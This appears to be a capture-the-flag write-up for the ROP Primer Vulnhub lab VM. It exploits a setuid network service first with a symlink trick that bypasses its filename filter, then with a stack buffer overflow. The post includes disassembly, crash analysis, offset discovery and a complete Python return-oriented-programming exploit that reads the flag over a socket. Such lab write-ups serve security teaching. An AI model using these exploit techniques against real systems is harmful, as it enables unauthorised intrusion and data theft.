This post covers the second level of the ROP Primer Vulnhub VM.
Let’s start by getting some basic info about the binary.
level1@rop:~$ ls -l
total 16
-rw-rw-r— 1 level0 level0 0 Mar 5 18:13 bleh
-rw——— 1 level2 level2 53 Jan 20 2015 flag
-rwsr-xr-x 1 level2 level2 9235 Jan 20 2015 level1
level1@rop:~$ file level1
level1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=8a2b93e2b54246aa15e8ff2447035e740fb176cb, not stripped
We know that there is no ASLR in place and we can check for other mitigations using the checksec
script.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
Running the binary in the VM results in a binding error.
level1@rop:~$ ./level1
[!] error bind()ing!
[+] retrying bind()
[!] error bind()ing!
[+] retrying bind()
[!] error bind()ing!
^C
Let’s run strace
to see why the bind()
operation fails.
level1@rop:~$ strace ./level1
bind(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EADDRINUSE (Address already in use)
write(1, "[!] error bind()ing!\n", 21[!] error bind()ing!
) = 21
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
nanosleep({1, 0}, 0xbffff52c) = 0
write(1, "[+] retrying bind()\n", 20[+] retrying bind()
) = 20
bind(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EADDRINUSE (Address already in use)
write(1, "[!] error bind()ing!\n", 21[!] error bind()ing!
) = 21
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
nanosleep({1, 0}, ^CProcess 2036 detached
It tries to use TCP port 8888
but the address is already in use, which means a service is running on that port.
level1@rop:~$ netstat -aepn | grep 8888
(No info could be read for "-p": geteuid()=1001 but you should be root.)
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 1002 8967 -
level1@rop:~$ ps uaxwww|grep level1
level2 792 0.0 0.0 2024 276 ? S Aug15 0:00 ./level1
root 1988 0.0 0.7 11200 3664 ? Ss 03:23 0:00 sshd: level1 [priv]
level1 2003 0.0 0.3 11200 1732 ? S 03:23 0:00 sshd: level1@pts/0
level1 2004 0.0 0.6 6860 3240 pts/0 Ss 03:23 0:00 -bash
level1 2039 0.0 0.2 5220 1148 pts/0 R+ 03:27 0:00 ps uaxwww
level1 2040 0.0 0.1 4676 828 pts/0 S+ 03:27 0:00 grep —color=auto level1
Connecting to localhost:8888
shows that the app is some kind of file storage system.
level1@rop:~$ nc localhost 8888
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
>
Can we just read the flag?
level1@rop:~$ nc localhost 8888
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> read
Please, give a filename to read:
> /home/level1/flag
XERXES demands your capture
or destruction.
Have a NICE day.
Nope. Other files do work, so it’s probably filtering out the flag string. Let’s disassemble the main function to find out.
Disassemble the main function.
Breakpoint 1, 0x08048d1c in main ()
gdb-peda$ disas
Dump of assembler code for function main:
0x08048d19 <+0>: push ebp
0x08048d1a <+1>: mov ebp,esp
=> 0x08048d1c <+3>: and esp,0xfffffff0
0x08048d1f <+6>: sub esp,0x30
0x08048d22 <+9>: mov DWORD PTR [esp+0x2c],0xffffffff
0x08048d2a <+17>: mov DWORD PTR [esp+0x28],0xffffffff
0x08048d32 <+25>: mov DWORD PTR [esp+0x8],0x0
0x08048d3a <+33>: mov DWORD PTR [esp+0x4],0x1
0x08048d42 <+41>: mov DWORD PTR [esp],0x2
0x08048d49 <+48>: call 0x8048780 <socket@plt>
0x08048d4e <+53>: mov DWORD PTR [esp+0x2c],eax
0x08048d52 <+57>: mov DWORD PTR [esp+0x8],0x10
0x08048d5a <+65>: mov DWORD PTR [esp+0x4],0x0
0x08048d62 <+73>: lea eax,[esp+0x14]
0x08048d66 <+77>: mov DWORD PTR [esp],eax
0x08048d69 <+80>: call 0x8048720 <memset@plt>
0x08048d6e <+85>: mov WORD PTR [esp+0x14],0x2
0x08048d75 <+92>: mov DWORD PTR [esp],0x0
0x08048d7c <+99>: call 0x8048750 <htonl@plt>
0x08048d81 <+104>: mov DWORD PTR [esp+0x18],eax
0x08048d85 <+108>: mov DWORD PTR [esp],0x22b8
0x08048d8c <+115>: call 0x8048670 <htons@plt>
0x08048d91 <+120>: mov WORD PTR [esp+0x16],ax
0x08048d96 <+125>: jmp 0x8048dbc <main+163>
0x08048d98 <+127>: mov DWORD PTR [esp],0x80491c9
0x08048d9f <+134>: call 0x80486a0 <puts@plt>
0x08048da4 <+139>: mov DWORD PTR [esp],0x1
0x08048dab <+146>: call 0x8048660 <sleep@plt>
0x08048db0 <+151>: mov DWORD PTR [esp],0x80491de
0x08048db7 <+158>: call 0x80486a0 <puts@plt>
0x08048dbc <+163>: mov DWORD PTR [esp+0x8],0x10
0x08048dc4 <+171>: lea eax,[esp+0x14]
0x08048dc8 <+175>: mov DWORD PTR [esp+0x4],eax
0x08048dcc <+179>: mov eax,DWORD PTR [esp+0x2c]
0x08048dd0 <+183>: mov DWORD PTR [esp],eax
0x08048dd3 <+186>: call 0x8048710 <bind@plt>
0x08048dd8 <+191>: test eax,eax
0x08048dda <+193>: js 0x8048d98 <main+127>
0x08048ddc <+195>: mov DWORD PTR [esp+0x4],0xa
0x08048de4 <+203>: mov eax,DWORD PTR [esp+0x2c]
0x08048de8 <+207>: mov DWORD PTR [esp],eax
0x08048deb <+210>: call 0x8048760 <listen@plt>
0x08048df0 <+215>: mov DWORD PTR [esp+0x8],0x0
0x08048df8 <+223>: mov DWORD PTR [esp+0x4],0x0
0x08048e00 <+231>: mov eax,DWORD PTR [esp+0x2c]
0x08048e04 <+235>: mov DWORD PTR [esp],eax
0x08048e07 <+238>: call 0x8048680 <accept@plt>
0x08048e0c <+243>: mov DWORD PTR [esp+0x28],eax
0x08048e10 <+247>: call 0x8048740 <fork@plt>
0x08048e15 <+252>: mov DWORD PTR [esp+0x24],eax
0x08048e19 <+256>: cmp DWORD PTR [esp+0x24],0x0
0x08048e1e <+261>: jns 0x8048e44 <main+299>
0x08048e20 <+263>: mov DWORD PTR [esp],0x80491f2
0x08048e27 <+270>: call 0x80486a0 <puts@plt>
0x08048e2c <+275>: mov eax,DWORD PTR [esp+0x2c]
0x08048e30 <+279>: mov DWORD PTR [esp],eax
0x08048e33 <+282>: call 0x80487a0 <close@plt>
0x08048e38 <+287>: mov DWORD PTR [esp],0xffffffff
0x08048e3f <+294>: call 0x80486c0 <exit@plt>
0x08048e44 <+299>: cmp DWORD PTR [esp+0x24],0x0
0x08048e49 <+304>: jne 0x8048e7b <main+354>
0x08048e4b <+306>: mov eax,DWORD PTR [esp+0x2c]
0x08048e4f <+310>: mov DWORD PTR [esp],eax
0x08048e52 <+313>: call 0x80487a0 <close@plt>
0x08048e57 <+318>: mov eax,DWORD PTR [esp+0x28]
0x08048e5b <+322>: mov DWORD PTR [esp],eax
0x08048e5e <+325>: call 0x8048915 <handle_conn>
0x08048e63 <+330>: mov eax,DWORD PTR [esp+0x28]
0x08048e67 <+334>: mov DWORD PTR [esp],eax
0x08048e6a <+337>: call 0x80487a0 <close@plt>
0x08048e6f <+342>: mov DWORD PTR [esp],0x0
0x08048e76 <+349>: call 0x80486c0 <exit@plt>
0x08048e7b <+354>: mov eax,DWORD PTR [esp+0x28]
0x08048e7f <+358>: mov DWORD PTR [esp],eax
0x08048e82 <+361>: call 0x80487a0 <close@plt>
0x08048e87 <+366>: jmp 0x8048df0 <main+215>
End of assembler dump.
The server will fork a new process to handle the incoming connection.
We can run ltrace -f
to follow the child process after it is created and see what happens when trying to fetch the flag using ‘read’
level1@rop:~$ ltrace -f ./level1
[pid 27632] __libc_start_main(0x8048d19, 1, 0xbf9efb84, 0x8048ea0, 0x8048e90 <unfinished …>
[pid 27632] socket(2, 1, 0) = 3
[pid 27632] memset(0xbf9efab4, '\000', 16) = 0xbf9efab4
[pid 27632] htonl(0, 0, 16, 0x8048eeb, 1) = 0
[pid 27632] htons(8888, 0, 16, 0x8048eeb, 1) = 47138
[pid 27632] bind(3, 0xbf9efab4, 16, 0x8048eeb, 1) = 0
[pid 27632] listen(3, 10, 16, 0x8048eeb, 1) = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1) = 4
[pid 27632] fork() = 27634
[pid 27632] close(4) = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1 <unfinished …>
[pid 27634] <… fork resumed> ) = 0
[pid 27634] close(3) = 0
[pid 27634] strlen("Welcome to \n") = 12
[pid 27634] write(4, "Welcome to \n", 12) = 12
[pid 27634] strlen(" XERXES File Storage System\n") = 28
[pid 27634] write(4, " XERXES File Storage System\n", 28) = 28
[pid 27634] strlen(" available commands are:\n") = 26
[pid 27634] write(4, " available commands are:\n", 26) = 26
[pid 27634] strlen(" store, read, exit.\n") = 21
[pid 27634] write(4, " store, read, exit.\n", 21) = 21
[pid 27634] strlen("\n> ") = 3
[pid 27634] write(4, "\n> ", 3) = 3
[pid 27634] memset(0xbf9efa3c, '\000', 32) = 0xbf9efa3c
[pid 27634] read(4, "read\n", 32) = 5
[pid 27634] strncmp("read\n", "store", 5) = -1
[pid 27634] strncmp("read\n", "read", 4) = 0
[pid 27634] strlen(" Please, give a filename to rea"…) = 35
[pid 27634] write(4, " Please, give a filename to rea"…, 35) = 35
[pid 27634] strlen("> ") = 2
[pid 27634] write(4, "> ", 2) = 2
[pid 27634] memset(0xbf9efa5c, '\000', 32) = 0xbf9efa5c
[pid 27634] read(4, "/home/level1/flag\n", 32) = 18
[pid 27634] strstr("/home/level1/flag", "flag") = "flag"
[pid 27634] strlen(" XERXES demands your capture\n "…) = 69
[pid 27634] write(4, " XERXES demands your capture\n "…, 69) = 69
[pid 27634] close(4) = 0
[pid 27634] exit(0 <unfinished …>
[pid 27634] +++ exited (status 0) +++
[pid 27632] — SIGCHLD (Child exited) —
The call to strstr
checks for occurrences of the ‘flag’ string in the input. The symlink is not being resolved before the check takes place, so creating a symbolic link to the flag should allow us to read it.
level1@rop:~$ ln -s flag dummy
level1@rop:~$ nc localhost 8888
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> read
Please, give a filename to read:
> dummy
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
It’s definitely not the intended solution. We are trying to learn about ROP, so let’s continue on that path. We are more interested in the store
operation.
I used Hopper to generate the pseudo-code of the handle_conn
function (yes, I am lazy). The relevant part of the store
operation is as follows.
loc_80489d8:
write_buf(arg0, " Please, how many bytes is your file?\n\n");
write_buf(arg0, 0x8048fb0);
memset(var_163, 0x0, 0x7);
read(arg0, var_163, 0x6);
var_C = atoi(var_163);
var_10 = malloc(var_C);
write_buf(arg0, 0x8048fb3);
write_buf(arg0, 0x8048fb0);
if (read(arg0, var_10, var_C) == var_C) {
write_buf(arg0, " XERXES is pleased to inform you\n that your file was received\n most successfully.\n");
}
else {
write_buf(arg0, " XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n");
}
write_buf(arg0, " Please, give a filename:\n");
write_buf(arg0, 0x8048fb0);
memset(var_3C, 0x0, 0x20);
read(arg0, var_3C, var_C);
snprintf(var_15C, 0x100, " XERXES will store\n this data as '%s'.\n", var_3C);
write_buf(arg0, var_15C);
write_file(var_3C, var_10, var_C);
eax = write_buf(arg0, " XERXES wishes you\n a NICE day.\n");
return eax;
The buffer overflow takes place when reading the filename. There are 32 bytes allocated to var_3C
, as indicated by memset(var_3C, 0x0, 0x20)
. However, read()
will read up to var_C
bytes, which is the file size provided before. If this value is larger than 32 then it will overwrite other values on the stack.
We cannot debug the running setuid binary with level1 permissions, so we’ll have to copy it to our local machine to analyze the crash.
Open gdb
in one terminal and set the follow-fork-mode to child.
root@kali:~/Desktop# gdb -q ./level1
Reading symbols from /root/Desktop/level1…(no debugging symbols found)…done.
gdb-peda$ set follow-fork-mode child
gdb-peda$ r
Then open another terminal and send a 100 byte file name.
> store
Please, how many bytes is your file?
> 101
Please, send your file:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
XERXES is pleased to inform you
that your file was received
most successfully.
Please, give a filename:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The child process crashes with EIP pointing to 0x41414141.
[New process 27784]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 27784]
[—————————————————registers—————————————————]
EAX: 0xffffffff
EBX: 0xb7fbcff4 —————————————————> 0x15fd7c
ECX: 0xffffffc8
EDX: 0x9 ('\t')
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff4b0 ('A' <repeats 32 times>, "\n")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[——————————————————code——————————————————]
Invalid $PC address: 0x41414141
[——————————————————stack——————————————————]
0000| 0xbffff4b0 ('A' <repeats 32 times>, "\n")
0004| 0xbffff4b4 ('A' <repeats 28 times>, "\n")
0008| 0xbffff4b8 ('A' <repeats 24 times>, "\n")
0012| 0xbffff4bc ('A' <repeats 20 times>, "\n")
0016| 0xbffff4c0 ('A' <repeats 16 times>, "\n")
0020| 0xbffff4c4 ('A' <repeats 12 times>, "\n")
0024| 0xbffff4c8 ("AAAAAAAA\n")
0028| 0xbffff4cc ("AAAA\n")
[———————————————————————————————————————]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Cool. We know that 100 bytes are enough to overwrite the return address. However, it would be better if we sent a unique pattern so that we could identify exactly how many bytes are needed to overwrite it. We can use the pattern_create
tool from metasploit to achieve this.
root@kali:~/Desktop# /usr/share/metasploit-framework/tools/pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Repeating the process described before, we get a SIGSEGV when EIP points to:
Stopped reason: SIGSEGV
0x63413163 in ?? ()
And then get the offset for the relevant substring.
>>> "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A".find("63413163".decode("hex")[::-1])
64
OK, so bytes 65–66–67–68 are the ones that overwrite the ret.
If we can get the addresses of open
, read
, write
, and the “flag” string, then we can just read the flag and output it to the connected socket.
level1@rop:~$ objdump -d level1 | grep 'open\|read\|write'
08048640 <read@plt>:
080486d0 <open@plt>:
08048700 <write@plt>:
…
level1@rop:~$ gdb -q ./level1
Reading symbols from ./level1…(no debugging symbols found)…done.
gdb-peda$ b main
Breakpoint 1 at 0x8048d1c
gdb-peda$ r
Starting program: /home/level1/level1
Breakpoint 1, 0x08048d1c in main ()
gdb-peda$ find "flag"
Searching for 'flag' in: None ranges
Found 13 results, display max 13 items:
level1 : 0x8049128 ("flag")
We’ll need some pop2ret
and pop3ret
gadgets as well.
gdb-peda$ ropgadget
ret = 0x804851c
popret = 0x8048e93
pop2ret = 0x8048ef7
pop3ret = 0x8048ef6
pop4ret = 0x8048ef5
leaveret = 0x8048610
addesp_44 = 0x8048ef2
As seen in the ltrace
output, our socket is using the file descriptor 4 and the flag file will use fd 3. With this info we can write the final exploit.
#!/bin/env python
import struct
import telnetlib
def p(x):
return struct.pack('<L', x)
# functions
open = 0x80486d0
read = 0x8048640
write = 0x8048700
# "flag" string
flag = 0x08049128
# gadgets
pop2ret = 0x08048ef7
pop3ret = 0x08048ef6
# empty payload
payload = ""
# padding
payload += "A" * 64
# open the flag file
payload += p(open)
payload += p(pop2ret)
payload += p(flag) # pathname
payload += p(0x0) # flags
# read the flag
payload += p(read)
payload += p(pop3ret)
payload += p(0x3) # 0:stdin, 1:stdout, 2:stderr, 3:flag, 4:socket
payload += p(0x0804a000) # buf
payload += p(0x80) # nbyte
# write it to the connected socket
payload += p(write)
payload += "FAKE"
payload += p(0x4) # fd
payload += p(0x0804a000) # buf
payload += p(0x80) # count
tn = telnetlib.Telnet("192.168.56.101", 8888)
# send store command
print tn.read_until("> ")
tn.write("store\n")
# send file size
print tn.read_until("> ")
tn.write("%d\n" % (len(payload) + 1))
# send file contents
print tn.read_until("> ")
tn.write(payload + "\n")
# send file name
print tn.read_until("> ")
tn.write(payload)
print tn.read_all()
Run it and get the flag.
$ python exp.py
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
>
Please, how many bytes is your file?
>
Please, send your file:
>
XERXES is pleased to inform you
that your file was received
most successfully.
Please, give a filename:
>
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
RXES regrets to inform you
that an error occurred
while receivi